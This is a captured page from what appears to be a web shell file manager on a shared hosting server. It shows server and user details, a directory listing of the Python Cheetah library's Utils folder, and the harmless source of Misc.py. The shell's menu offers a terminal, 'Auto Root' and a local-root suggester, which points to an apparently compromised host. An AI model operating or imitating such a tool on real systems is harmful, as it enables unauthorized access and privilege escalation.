Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python2.7 /
site-packages /
Cheetah /
Utils /
Delete
Unzip
Name
Size
Permission
Date
Action
Indenter.py
4.05
KB
-rw-r--r--
2010-07-02 05:17
Indenter.pyc
5.46
KB
-rw-r--r--
2014-01-10 04:44
Indenter.pyo
5.46
KB
-rw-r--r--
2014-01-10 04:44
Misc.py
2.19
KB
-rw-r--r--
2014-01-10 04:44
Misc.pyc
2.74
KB
-rw-r--r--
2014-01-10 04:44
Misc.pyo
2.74
KB
-rw-r--r--
2014-01-10 04:44
WebInputMixin.py
3.78
KB
-rw-r--r--
2010-07-02 05:17
WebInputMixin.pyc
3.15
KB
-rw-r--r--
2014-01-10 04:44
WebInputMixin.pyo
3.15
KB
-rw-r--r--
2014-01-10 04:44
__init__.py
2
B
-rw-r--r--
2010-07-02 05:17
__init__.pyc
147
B
-rw-r--r--
2014-01-10 04:44
__init__.pyo
147
B
-rw-r--r--
2014-01-10 04:44
htmlDecode.py
437
B
-rw-r--r--
2010-07-02 05:17
htmlDecode.pyc
760
B
-rw-r--r--
2014-01-10 04:44
htmlDecode.pyo
760
B
-rw-r--r--
2014-01-10 04:44
htmlEncode.py
508
B
-rw-r--r--
2010-07-02 05:17
htmlEncode.pyc
837
B
-rw-r--r--
2014-01-10 04:44
htmlEncode.pyo
837
B
-rw-r--r--
2014-01-10 04:44
statprof.py
9.91
KB
-rw-r--r--
2010-07-02 05:17
statprof.pyc
10.13
KB
-rw-r--r--
2014-01-10 04:44
statprof.pyo
10.03
KB
-rw-r--r--
2014-01-10 04:44
Save
Rename
""" Miscellaneous functions/objects used by Cheetah but also useful standalone. """ import os # Used in mkdirsWithPyInitFile. import sys # Used in die. ################################################## ## MISCELLANEOUS FUNCTIONS def die(reason): sys.stderr.write(reason + '\n') sys.exit(1) def useOrRaise(thing, errmsg=''): """Raise 'thing' if it's a subclass of Exception. Otherwise return it. Called by: Cheetah.Servlet.cgiImport() """ if isinstance(thing, type) and issubclass(thing, Exception): raise thing(errmsg) return thing def checkKeywords(dic, legalKeywords, what='argument'): """Verify no illegal keyword arguments were passed to a function. in : dic, dictionary (**kw in the calling routine). legalKeywords, list of strings, the keywords that are allowed. what, string, suffix for error message (see function source). out: None. exc: TypeError if 'dic' contains a key not in 'legalKeywords'. called by: Cheetah.Template.__init__() """ # XXX legalKeywords could be a set when sets get added to Python. for k in dic.keys(): # Can be dic.iterkeys() if Python >= 2.2. if k not in legalKeywords: raise TypeError("'%s' is not a valid %s" % (k, what)) def removeFromList(list_, *elements): """Save as list_.remove(each element) but don't raise an error if element is missing. Modifies 'list_' in place! Returns None. """ for elm in elements: try: list_.remove(elm) except ValueError: pass def mkdirsWithPyInitFiles(path): """Same as os.makedirs (mkdir 'path' and all missing parent directories) but also puts a Python '__init__.py' file in every directory it creates. Does nothing (without creating an '__init__.py' file) if the directory already exists. """ dir, fil = os.path.split(path) if dir and not os.path.exists(dir): mkdirsWithPyInitFiles(dir) if not os.path.exists(path): os.mkdir(path) init = os.path.join(path, "__init__.py") f = open(init, 'w') # Open and close to produce empty file. f.close() # vim: shiftwidth=4 tabstop=4 expandtab